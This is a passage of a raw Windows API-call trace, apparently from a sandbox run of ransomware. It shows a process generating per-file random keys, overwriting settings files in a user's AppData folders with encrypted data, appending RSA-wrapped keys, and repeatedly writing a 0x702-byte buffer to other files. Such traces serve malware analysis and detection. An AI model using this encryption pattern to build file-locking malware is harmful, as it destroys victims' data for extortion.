lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.022] CloseHandle (hObject=0xe94) returned 1 [0159.022] WriteFile (in: hFile=0xe94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.023] CloseHandle (hObject=0xe94) returned 1 [0159.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.027] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.027] ReadFile (in: hFile=0xea8, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.028] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.028] WriteFile (in: hFile=0xea8, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.028] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.028] WriteFile (in: hFile=0xea8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.029] WriteFile (in: hFile=0xea8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.029] CloseHandle (hObject=0xea8) returned 1 [0159.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0159.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.031] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.031] ReadFile (in: hFile=0xea8, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.033] SetFilePointer (in: hFile=0xea8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.033] WriteFile (in: hFile=0xea8, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.033] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.034] WriteFile (in: hFile=0xea8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.034] WriteFile (in: hFile=0xea8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.034] CloseHandle (hObject=0xea8) returned 1 [0159.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0159.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.036] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.037] ReadFile (in: hFile=0xea8, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.038] SetFilePointer (in: hFile=0xea8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.039] WriteFile (in: hFile=0xea8, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.039] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.039] WriteFile (in: hFile=0xea8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.040] WriteFile (in: hFile=0xea8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.040] CloseHandle (hObject=0xea8) returned 1 [0159.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.045] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.045] ReadFile (in: hFile=0xea8, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.045] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.045] WriteFile (in: hFile=0xea8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.045] SetFilePointer (in: hFile=0xea8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.046] WriteFile (in: hFile=0xea8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.046] WriteFile (in: hFile=0xea8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.047] CloseHandle (hObject=0xea8) returned 1 [0159.049] WriteFile (in: hFile=0xeb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.050] CloseHandle (hObject=0xeb0) returned 1 [0159.051] WriteFile (in: hFile=0xeb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.052] CloseHandle (hObject=0xeb0) returned 1 [0159.052] WriteFile (in: hFile=0xeb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.053] CloseHandle (hObject=0xeb0) returned 1 [0159.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0159.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.055] ReadFile (in: hFile=0xec4, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.055] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.055] WriteFile (in: hFile=0xec4, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.055] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.055] WriteFile (in: hFile=0xec4, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.056] WriteFile (in: hFile=0xec4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.056] CloseHandle (hObject=0xec4) returned 1 [0159.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0159.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.058] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.058] ReadFile (in: hFile=0xec4, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.069] SetFilePointer (in: hFile=0xec4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.069] WriteFile (in: hFile=0xec4, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.070] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.070] WriteFile (in: hFile=0xec4, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.070] WriteFile (in: hFile=0xec4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.071] CloseHandle (hObject=0xec4) returned 1 [0159.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.073] ReadFile (in: hFile=0xec4, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.074] SetFilePointer (in: hFile=0xec4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.074] WriteFile (in: hFile=0xec4, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.075] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.075] WriteFile (in: hFile=0xec4, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.075] WriteFile (in: hFile=0xec4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.075] CloseHandle (hObject=0xec4) returned 1 [0159.077] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.077] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.077] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.077] ReadFile (in: hFile=0xec4, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.077] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.077] WriteFile (in: hFile=0xec4, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.077] SetFilePointer (in: hFile=0xec4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.078] WriteFile (in: hFile=0xec4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.078] WriteFile (in: hFile=0xec4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.079] CloseHandle (hObject=0xec4) returned 1 [0159.080] WriteFile (in: hFile=0xecc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.081] CloseHandle (hObject=0xecc) returned 1 [0159.082] WriteFile (in: hFile=0xecc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.083] CloseHandle (hObject=0xecc) returned 1 [0159.083] WriteFile (in: hFile=0xecc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.084] CloseHandle (hObject=0xecc) returned 1 [0159.085] WriteFile (in: hFile=0xed0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.086] CloseHandle (hObject=0xed0) returned 1 [0159.086] WriteFile (in: hFile=0xed0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.087] CloseHandle (hObject=0xed0) returned 1 [0159.087] WriteFile (in: hFile=0xed0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.088] CloseHandle (hObject=0xed0) returned 1 [0159.089] WriteFile (in: hFile=0xed4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.090] CloseHandle (hObject=0xed4) returned 1 [0159.091] WriteFile (in: hFile=0xed4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.092] CloseHandle (hObject=0xed4) returned 1 [0159.092] WriteFile (in: hFile=0xed4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.093] CloseHandle (hObject=0xed4) returned 1 [0159.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0159.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.093] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.094] ReadFile (in: hFile=0xee8, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.094] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.094] WriteFile (in: hFile=0xee8, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.094] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.094] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.094] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.094] WriteFile (in: hFile=0xee8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.095] WriteFile (in: hFile=0xee8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.096] CloseHandle 